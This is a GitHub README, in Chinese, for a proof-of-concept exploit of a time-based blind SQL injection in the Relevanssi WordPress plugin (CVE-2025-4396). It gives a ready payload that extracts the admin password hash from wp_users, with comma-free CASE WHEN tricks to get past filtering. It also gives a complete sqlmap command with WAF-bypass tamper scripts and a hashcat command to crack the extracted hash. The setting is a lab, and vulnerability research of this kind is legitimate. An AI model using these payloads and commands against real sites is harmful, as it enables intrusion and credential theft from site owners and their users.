sup3rDav3/CVE-2025-4396
GitHub: sup3rDav3/CVE-2025-4396
针对 WordPress Relevanssi 插件的时间盲注 SQL 注入漏洞 PoC,提供绕过逗号过滤与贪婪 SLEEP 的手动和自动化利用方案。
Stars: 0 | Forks: 0
# CVE-2025-4396 — Relevanssi SQL 注入(基于时间的盲注)
## 概述
针对 **Relevanssi 4.24.4** WordPress 插件中基于时间盲注的 SQL 注入漏洞的概念验证 exploit。此实现专门针对以下加固环境:
- **逗号被过滤** — 导致标准的 `SUBSTR(str, pos, len)` 和 `IF(cond, true, false)` 语法失效
- **出现贪睡行为** — 导致 MySQL 在评估完整表达式之前执行 `SLEEP()`,从而产生误报
## 背景
在某些环境(例如 DVWP 实验室)中,标准的 SQL 注入 payload 会失效,主要原因如下:
| 问题 | 影响 |
|---|---|
| 逗号被去除 | 破坏了 `SUBSTR(str, pos, len)` 和 `IF(cond, true, false)` |
| 贪婪的 `SLEEP()` | MySQL 在完整的布尔表达式之前评估 sleep,导致误报 |
这两个问题都需要针对性的变通方法 —— 以下手动和自动方法均对此进行了处理。
## 手动 Exploit (`asy.py`)
一个提供精准逐字符提取的异步 Python 脚本。避免了自动化工具的开销,并通过 `CASE WHEN` 逻辑绕过逗号过滤。
### 功能
| 功能 | 实现 |
|---|---|
| 异步 I/O | 使用 `aiohttp` 进行非阻塞请求 |
| 无逗号 payload | 使用 `SUBSTR(str FROM pos FOR len)` 语法 |
| 非贪婪逻辑 | `CASE WHEN` 确保 `SLEEP()` 仅在条件为 `TRUE` 时触发 |
### 核心注入逻辑
```
# 无逗号,基于 CASE WHEN 的时间 Payload
condition = f"ASCII(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1) FROM {pos} FOR 1))>{mid}"
injection = f"1*(SELECT CASE WHEN ({condition}) THEN SLEEP(3) ELSE 1 END)"
```
**为什么使用 `CASE WHEN` 而不是 `IF()`?**
`IF()` 使用逗号并且受限于贪婪求值。`CASE WHEN` 进行延迟求值,确保 `SLEEP()` 仅在条件真正为 `TRUE` 时才被触发。
## 自动化 Exploit (SQLMap)
SQLMap 可以使用特定的 tamper 脚本和标志在此环境中自动发现漏洞。
### 命令
```
python3 sqlmap.py -u "http://localhost:31337/?s=test&cats=1*" \
--tamper=commalessmid,if2case,between \
--technique=T \
--dbms=MySQL \
--no-cast \
--batch \
--threads=1 \
--dbs
```
### 标志参考
| 标志 | 目的 |
|---|---|
| `--tamper=commalessmid,if2case` | 将 payload 重写为无逗号的 SQL;将 `IF()` 替换为 `CASE WHEN` |
| `--tamper=between` | 将 `>` 比较替换为 `BETWEEN` 以绕过额外的 WAF |
| `--technique=T` | 仅限于基于时间的盲注 |
| `--no-cast` | 阻止会引入被禁用逗号的 `CAST()` 包装 |
| `--threads=1` | 确保计时准确性 —— 并发请求会导致重叠的 sleep 延迟 |
## 实验室发现
| 字段 | 值 |
|---|---|
| 目标 | WordPress `wp_users` 表 |
| 用户 | `admin` (ID = 1) |
| 提取的 Hash | `REDACTED` |
| 算法 | `phpass`(标准 WordPress 密码哈希) |
### 破解 Hash
```
hashcat -m 400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
```
- **模式 `-m 400`** 针对 phpass 哈希
- **攻击 `-a 0`** 是使用 rockyou.txt 的直接字典攻击
## 参考资料
- [Relevanssi Plugin — WordPress.org](https://wordpress.org/plugins/relevanssi/)
- [SQLMap Tamper Scripts](https://github.com/sqlmapproject/sqlmap/tree/master/tamper)
- [OWASP: Blind SQL Injection](https://owasp.org/www-community/attacks/Blind_SQL_Injection)
- [phpass — Password Hashing Framework](https://www.openwall.com/phpass/)
标签:aiohttp, CASE WHEN, CISA项目, CMS安全, CVE-2025-4396, JavaScript, OpenVAS, PHP, PoC, Python, Relevanssi, SQLMap, Web安全, WordPress插件漏洞, 安全测试, 异步编程, 攻击性安全, 数据展示, 无后门, 时间盲注, 暴力破解, 红队, 绕过WAF, 蓝队分析, 逆向工具